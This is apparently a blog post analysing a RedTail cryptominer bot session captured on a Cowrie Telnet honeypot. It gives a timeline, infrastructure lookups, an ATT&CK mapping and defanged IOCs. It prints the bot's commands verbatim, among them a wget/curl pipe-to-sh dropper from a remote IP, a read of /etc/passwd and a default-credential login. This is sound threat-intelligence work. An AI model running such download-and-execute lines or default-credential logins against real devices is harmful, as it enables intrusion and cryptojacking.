~ / honeypot / redtail-telnet
22 November 2026 · Honeypot investigation · 7 min read

RedTail over Telnet: a three-second, fileless miner drop

honeypotcowrieredtailcryptominingtelnetiot

A Tencent Cloud host logged in to an internet-exposed Cowrie sensor with user/user over Telnet, tried to escape a router CLI, piped a RedTail installer from a bare-IP HTTPS server straight into sh, and announced itself with a hex-encoded success marker.

TL;DR

Source 111[.]229[.]155[.]203, AS45090 (Shenzhen Tencent Computer Systems), CN
Sensor Cowrie (T-Pot 24.04.1), Telnet/23
Access admin/admin failed, user/user succeeded
Session 97c4bde29fb6, 17:10:56 to 17:10:59 CST (3 s, 10 commands)
Payload host hxxps://217[.]60[.]102[.]5/sh (on URLhaus since 3 Oct 2026, now offline). The host is shared: URLhaus also tags it Prometei and Mirai
Family RedTail (Monero miner). High confidence: self-identifying marker plus known-bad infrastructure
Outcome The dropper ran in the emulated shell; no file was captured (piped -qO- / -sk straight into sh)
Reputation Source: AbuseIPDB 100% (274 reports from 190 users), GreyNoise malicious, 10 of 92 VirusTotal engines. Not on Spamhaus DROP

Timeline

All times CST (UTC-6), 22 Nov 2026.

Time Event
17:10:51 First packet from the source; p0f fingerprints a Linux 2.2.x-3.x stack
17:10:5x Telnet login admin/admin fails
17:10:56 Telnet login user/user succeeds; session 97c4bde29fb6 opens
17:10:56 to 59 10 commands executed (below)
17:12:01 Last event from the source

Total contact: 70 seconds. Time from successful login to dropper execution: under 3 seconds. That is a script, not a person.

What it ran

id
cat /etc/passwd
echo -e "\x61\x75\x74\x68\x5F\x6F\x6B\x0A"          # -> auth_ok
enable
system
shell
(wget --no-check-certificate -qO- https://217.60.102[.]5/sh || curl -sk https://217.60.102[.]5/sh) | sh -s telnet
echo -e "\x72\x65\x64\x74\x61\x69\x6C\x5F\x62\x6F\x74\x5F\x74\x65\x6C\x6E\x65\x74\x5F\x6F\x6B"   # -> redtail_bot_telnet_ok

(Cowrie also logs the two halves of the || as separate entries; they are collapsed here.)

Line by line

  1. id, cat /etc/passwd: privilege and account discovery (T1033, T1087.001). The bot needs to know whether it landed as root and what accounts exist, but it does not branch on the answer: the next commands run regardless.
  2. echo -e "\x61..." -> auth_ok: a liveness and encoding check. Hex-escaped output proves that the remote side is a real shell that interprets echo -e, and it gives the operator's parser an unambiguous token to match. SANS ISC documented the exact same auth_ok string as the final step of an SSH-based RedTail install, there used to confirm that an attacker key had been written to authorized_keys. Same marker, different delivery path.
  3. enable / system / shell: the router CLI escape. Many Huawei, ZTE and white-label CPE consoles drop Telnet users into a restricted vendor CLI; this sequence walks out of it into a BusyBox shell. On a real Linux shell, and on Cowrie, all three fail with "command not found", which is harmless to the bot. It tells us the actor's target list is consumer routers and IoT devices first, Linux servers second.
  4. The dropper: wget with curl as a fallback, so it works on BusyBox images that ship only one of the two. Both have TLS verification disabled (--no-check-certificate, -k) because the server is a bare IP with a self-signed certificate. HTTPS here is not about trust; it hides the script body from plaintext IDS inspection. The output is piped into sh -s telnet: -s reads the script from stdin, and telnet becomes $1, telling the installer which vector delivered it. Nothing is written to disk at this stage (T1105, T1059.004).
  5. redtail_bot_telnet_ok: the self-report. Encoded the same way as auth_ok, it names the family, the vector and the result in one token (T1027).

Why Cowrie captured no file

Cowrie stores a sample when a command writes a file (wget -O file, curl -o file, SFTP/SCP uploads). Here both downloaders write to stdout and the stream goes straight into sh, so the emulated shell logged the command but had nothing to store. The payload has to be recovered through intelligence sharing instead of the sensor:

  1. URLhaus lists the /sh URL (first seen 3 Oct 2026, now offline) with one payload: a 2,312-byte shell script, SHA-256 917fcc9131c6e9ca16264a85afc62532297bb39eb9d37765dad536c7c8c7735c.
  2. MalwareBazaar has that sample but no family label; its only tag is sh. The family attribution here rests on the bot's own marker and ThreatFox, not on the sample label.

No sample was downloaded to any workstation for this write-up.

Infrastructure

Source Result
URLhaus (host 217[.]60[.]102[.]5) 12 malware URLs since 3 Oct 2026, none online now. Tags across them: Prometei, mirai, elf, dropper, iot, cowrie, honeypot
ThreatFox (payload host) 6 IOC records: RedTail, as botnet C2 and payload delivery
URLhaus (the /sh URL) Tagged cowrie and honeypot: other honeypot operators reported the same URL
Source IP 111[.]229[.]155[.]203 AbuseIPDB 100% (274 reports, 190 users, 90 days), GreyNoise malicious, VirusTotal 10/92, 6 AlienVault OTX pulses including other T-Pot sensors; Tencent Cloud hosting

The payload server is not RedTail-only. Over seven weeks it also served files that reporters tagged Prometei and Mirai, which fits a rented or compromised box used by more than one botnet operator, or a single operator running several families. The cowrie/honeypot tags show this campaign is spraying honeypots as indiscriminately as real devices.

How this compares with public reporting

Assessment

MITRE ATT&CK

ID Technique Evidence
T1110.001 Brute Force: Password Guessing admin/admin, then user/user
T1078.003 Valid Accounts: Local Accounts Successful login with a default local account
T1033 System Owner/User Discovery id
T1087.001 Account Discovery: Local Account cat /etc/passwd
T1059.004 Command and Scripting Interpreter: Unix Shell ... | sh -s telnet
T1105 Ingress Tool Transfer wget/curl of /sh
T1027 Obfuscated Files or Information Hex-encoded echo -e markers

Detection ideas (for real systems)

IOCs

ipv4   111[.]229[.]155[.]203     source (Tencent Cloud, AS45090)
ipv4   217[.]60[.]102[.]5        payload host
url    hxxps://217[.]60[.]102[.]5/sh
sha256 917fcc9131c6e9ca16264a85afc62532297bb39eb9d37765dad536c7c8c7735c   (/sh dropper)
str    redtail_bot_telnet_ok
str    auth_ok   (hex: \x61\x75\x74\x68\x5F\x6F\x6B\x0A)
cred   user / user (Telnet)

References

Captured on a deliberately exposed honeypot. All indicators are defanged; do not visit them. Sensor location and addressing are withheld. Attribution is limited to what the evidence supports.

← All honeypot investigationstonyjucha.com